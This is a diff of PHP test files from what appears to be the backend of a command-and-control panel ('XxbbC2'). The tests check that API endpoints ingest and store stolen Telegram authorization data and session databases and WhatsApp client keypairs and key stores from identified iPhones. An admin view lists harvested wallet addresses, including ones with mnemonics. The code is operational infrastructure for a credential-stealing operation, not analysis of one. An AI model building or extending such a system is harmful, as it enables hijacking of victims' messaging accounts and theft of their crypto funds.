foreach (['c2' => 'OLD-C2-MARKER', 'xxbb' => 'NEW-XXBB-MARKER'] as $kind => $marker) {
|
||||
$dir = public_path('log/'.$kind);
|
||||
if (! is_dir($dir)) {
|
||||
mkdir($dir, 0775, true);
|
||||
}
|
||||
file_put_contents(
|
||||
$dir.'/20990102.log',
|
||||
'2026-08-14 13:00:00 /probe {"marker":"'.$marker.'"}'."\r\n\r\n"
|
||||
);
|
||||
}
|
||||
|
||||
try {
|
||||
$admin = $this->superAdmin();
|
||||
$index = $this->actingAs($admin, 'admin')
|
||||
->get(route('admin.logs.index'))
|
||||
->assertOk();
|
||||
$index->assertSee('/admin/logs/xxbb/20990102.log', false);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.logs.show', ['kind' => 'xxbb', 'file' => '20990102.log']))
|
||||
->assertOk()
|
||||
->assertSee('NEW-XXBB-MARKER')
|
||||
->assertSee('新版')
|
||||
->assertDontSee('OLD-C2-MARKER');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.logs.show', ['kind' => 'c2', 'file' => '20990102.log']))
|
||||
->assertOk()
|
||||
->assertSee('OLD-C2-MARKER')
|
||||
->assertSee('旧版')
|
||||
->assertDontSee('NEW-XXBB-MARKER');
|
||||
} finally {
|
||||
@unlink(public_path('log/c2/20990102.log'));
|
||||
@unlink(public_path('log/xxbb/20990102.log'));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -63,10 +63,6 @@ class SystemAdminTest extends TestCase
|
||||
$this->actingAs($staff, 'admin')
|
||||
->get(route('admin.system.admins.index'))
|
||||
->assertForbidden();
|
||||
|
||||
$this->actingAs($staff, 'admin')
|
||||
->get(route('admin.logs.index'))
|
||||
->assertForbidden();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -83,7 +79,8 @@ class SystemAdminTest extends TestCase
|
||||
->get(route('admin.home'))
|
||||
->assertOk()
|
||||
->assertSee('lay-href="'.route('admin.system.settings.index').'"', false)
|
||||
->assertDontSee('lay-href="'.route('admin.system.admins.index').'"', false);
|
||||
->assertDontSee('lay-href="'.route('admin.system.admins.index').'"', false)
|
||||
->assertDontSee('原始日志');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -94,7 +91,8 @@ class SystemAdminTest extends TestCase
|
||||
->assertOk()
|
||||
->assertSee('系统')
|
||||
->assertSee('设置')
|
||||
->assertSee('管理员');
|
||||
->assertSee('管理员')
|
||||
->assertDontSee('原始日志');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -97,6 +97,25 @@ class WalletAddressFilterTest extends TestCase
|
||||
->assertJsonMissing(['address' => 'addr-with-mnemonic']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function filters_by_address(): void
|
||||
{
|
||||
$this->seedRows();
|
||||
$admin = $this->admin();
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.addresses.data', ['address' => 'with-balance']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.address', 'addr-with-balance');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.addresses.data', ['address' => 'addr-plain']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.address', 'addr-plain');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function filters_by_has_balance(): void
|
||||
{
|
||||
|
||||
@@ -387,6 +387,7 @@ class XxbbC2ApiTest extends TestCase
|
||||
#[Test]
|
||||
public function api_tg_t_ingests_telegram_auth(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$this->xxbbPost('/api/tg/t', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'd1' => '00008030-000C30D83CD0402E',
|
||||
@@ -408,13 +409,20 @@ class XxbbC2ApiTest extends TestCase
|
||||
$this->assertSame('000C30D83CD0402E', $row->device_key);
|
||||
$this->assertSame('123456789', $row->account_id);
|
||||
$this->assertSame('123456789', $row->payload['user_id'] ?? null);
|
||||
$this->assertArrayHasKey('db_sqlite', $row->payload);
|
||||
$this->assertSame('AQID', $row->payload['datacenterAuthInfoById'] ?? null);
|
||||
$this->assertTrue((bool) ($row->payload['has_db'] ?? false));
|
||||
$this->assertArrayNotHasKey('db_sqlite', $row->payload ?? []);
|
||||
Storage::disk('local')->assertExists($row->payload['payload_path']);
|
||||
$full = $row->fullPayload();
|
||||
$this->assertArrayHasKey('db_sqlite', $full);
|
||||
$this->assertSame('AQID', $full['datacenterAuthInfoById'] ?? null);
|
||||
$this->assertTrue($device->fresh()->hasTelegram());
|
||||
$this->assertFalse($device->fresh()->hasWhatsApp());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function api_tg_t_ingests_ecid_envelope(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$this->xxbbPost('/api/tg/t', [
|
||||
'ecid' => '00025D800C22001E',
|
||||
'unique' => '00008101-00025D800C22001E',
|
||||
@@ -432,12 +440,14 @@ class XxbbC2ApiTest extends TestCase
|
||||
$this->assertSame(PluginSession::KIND_TELEGRAM, $row->kind);
|
||||
$this->assertSame('37603278499', $row->account_id);
|
||||
$this->assertSame('37603278499', $row->payload['user_id'] ?? null);
|
||||
$this->assertArrayHasKey('db_sqlite', $row->payload);
|
||||
$this->assertTrue((bool) ($row->payload['has_db'] ?? false));
|
||||
$this->assertArrayHasKey('db_sqlite', $row->fullPayload());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function api_wp_t_ingests_whatsapp_session(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$this->xxbbPost('/api/wp/t', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'd1' => '00008030-000C30D83CD0402E',
|
||||
@@ -461,12 +471,22 @@ class XxbbC2ApiTest extends TestCase
|
||||
$this->assertSame('000C30D83CD0402E', $row->device_key);
|
||||
$this->assertSame('15551234567', $row->account_id);
|
||||
$this->assertSame('15551234567', $row->phone);
|
||||
$this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null);
|
||||
$this->assertSame(
|
||||
PluginSession::whatsappFilePath('000C30D83CD0402E', '15551234567'),
|
||||
$row->payload['payload_path'] ?? null
|
||||
);
|
||||
$this->assertArrayNotHasKey('phoneKeyStore', $row->payload ?? []);
|
||||
Storage::disk('local')->assertExists($row->payload['payload_path']);
|
||||
$full = $row->fullPayload();
|
||||
$this->assertSame('QUJD', $full['clientStaticKeypairBase64'] ?? null);
|
||||
$this->assertTrue($device->fresh()->hasWhatsApp());
|
||||
$this->assertFalse($device->fresh()->hasTelegram());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function api_wp_t_ingests_account_data_envelope(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$this->xxbbPost('/api/wp/t', [
|
||||
'account' => '2348034472071',
|
||||
'ecid' => '0006345E0A09002E',
|
||||
@@ -489,9 +509,11 @@ class XxbbC2ApiTest extends TestCase
|
||||
$this->assertSame(PluginSession::KIND_WHATSAPP, $row->kind);
|
||||
$this->assertSame('2348034472071', $row->account_id);
|
||||
$this->assertSame('2348034472071', $row->phone);
|
||||
$this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null);
|
||||
$this->assertSame('wa-nick', $row->payload['nickname'] ?? null);
|
||||
$this->assertIsArray($row->payload['phoneKeyStore'] ?? null);
|
||||
$this->assertArrayNotHasKey('phoneKeyStore', $row->payload ?? []);
|
||||
$full = $row->fullPayload();
|
||||
$this->assertSame('QUJD', $full['clientStaticKeypairBase64'] ?? null);
|
||||
$this->assertIsArray($full['phoneKeyStore'] ?? null);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
Reference in New Issue
Block a user